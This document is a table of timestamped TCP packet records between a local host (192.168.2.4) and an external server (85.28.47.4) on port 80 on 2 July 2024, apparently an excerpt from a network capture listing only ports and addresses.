Jul 2, 2024 15:26:09.995979071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995995998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996005058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996006012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996020079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996022940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996033907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996043921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996052027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996062994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996069908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996078968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996092081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996104956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996114969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996114969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996131897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996143103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996145010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996161938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996167898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996191025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996212006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996229887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996242046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996258974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996268988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996268988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996285915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996289015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996298075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996303082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996318102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996326923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996330023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996346951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996351004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996359110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996372938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996375084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996393919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996397972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996414900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996437073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996575117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996584892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996602058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996612072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996617079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996630907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996640921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996645927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996663094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.996666908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996694088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.996716022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.001257896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001298904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001312017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001321077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.001337051 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.001358032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.001389980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001399994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001416922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001426935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.001465082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.001643896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001688957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.001741886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001753092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001770020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001777887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001789093 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.001796007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.001796007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001811028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001817942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.001833916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001836061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.001854897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.001871109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001873970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.001882076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001899958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001910925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.001915932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001934052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001939058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.001948118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001960039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001962900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.001979113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.001988888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.002002001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002011061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002027988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002028942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.002042055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002049923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.002072096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.002094030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002101898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.002105951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002123117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002131939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002139091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.002147913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.002175093 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.002583981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002624035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002630949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.002634048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002659082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.002671957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.002707958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002720118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002737045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002749920 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.002751112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002765894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.002778053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.002798080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.002818108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002827883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002845049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002855062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.002857924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002878904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002881050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.002892017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002898932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002906084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.002928972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002938986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002939939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.002957106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002963066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.002969027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002986908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.002988100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.003005028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.003031969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.003046989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.003057957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.003074884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.003084898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.003092051 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.003104925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.003110886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.003125906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.003128052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.003137112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.003153086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.003160954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.003164053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.003180027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.003211975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.084031105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.084090948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.084105015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.084115982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.084125996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.084131002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.084151983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.084155083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.084184885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.084212065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.084223986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.084224939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.084240913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.084254980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.084258080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.084273100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.084285975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.084289074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.084311008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.084331989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.084341049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.084342957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.084362984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.084369898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.084378004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.084378958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.084393978 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.084397078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.084408045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.084419966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.084433079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.084439039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.084460020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.084470034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.113781929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.118738890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291115046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291131973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291157961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291209936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291225910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291239023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291248083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291270971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291274071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291284084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291295052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291306019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291306019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291321993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291330099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291340113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291347980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291366100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291372061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291383028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291384935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291402102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291409969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291416883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291421890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291435957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291441917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291448116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291460991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291466951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291481018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291484118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291500092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291520119 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291522980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291534901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291552067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291562080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291563034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291584015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291624069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291631937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291662931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291683912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291695118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291718006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291738033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291745901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291757107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291775942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291784048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291786909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291802883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291825056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291826010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291836023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291855097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291871071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291893005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291927099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291938066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291954994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291965008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.291970015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.291994095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292018890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292026997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292037010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292053938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292063951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292068958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292082071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292090893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292109966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292117119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292128086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292138100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292150974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292151928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292167902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292172909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292190075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292206049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292207003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292224884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292248011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292257071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292258978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292277098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292287111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292288065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292305946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292316914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292318106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292332888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292339087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292365074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292388916 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292821884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292834044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292851925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292865038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292880058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292893887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292900085 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292910099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292923927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292932034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292942047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.292951107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292968988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292983055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.292993069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.293004036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.293020964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.293030024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.293034077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.293057919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.293061972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.293092012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.293109894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.293118000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.293128967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.293147087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.293157101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.293159008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.293174028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.293186903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.293210983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.800390959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.800422907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:10.805373907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:10.805392981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:11.545237064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:11.545336962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:11.631784916 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:11.637027025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:11.823715925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:11.823731899 CEST	80	49730	85.28.47.4	192.168.2.4
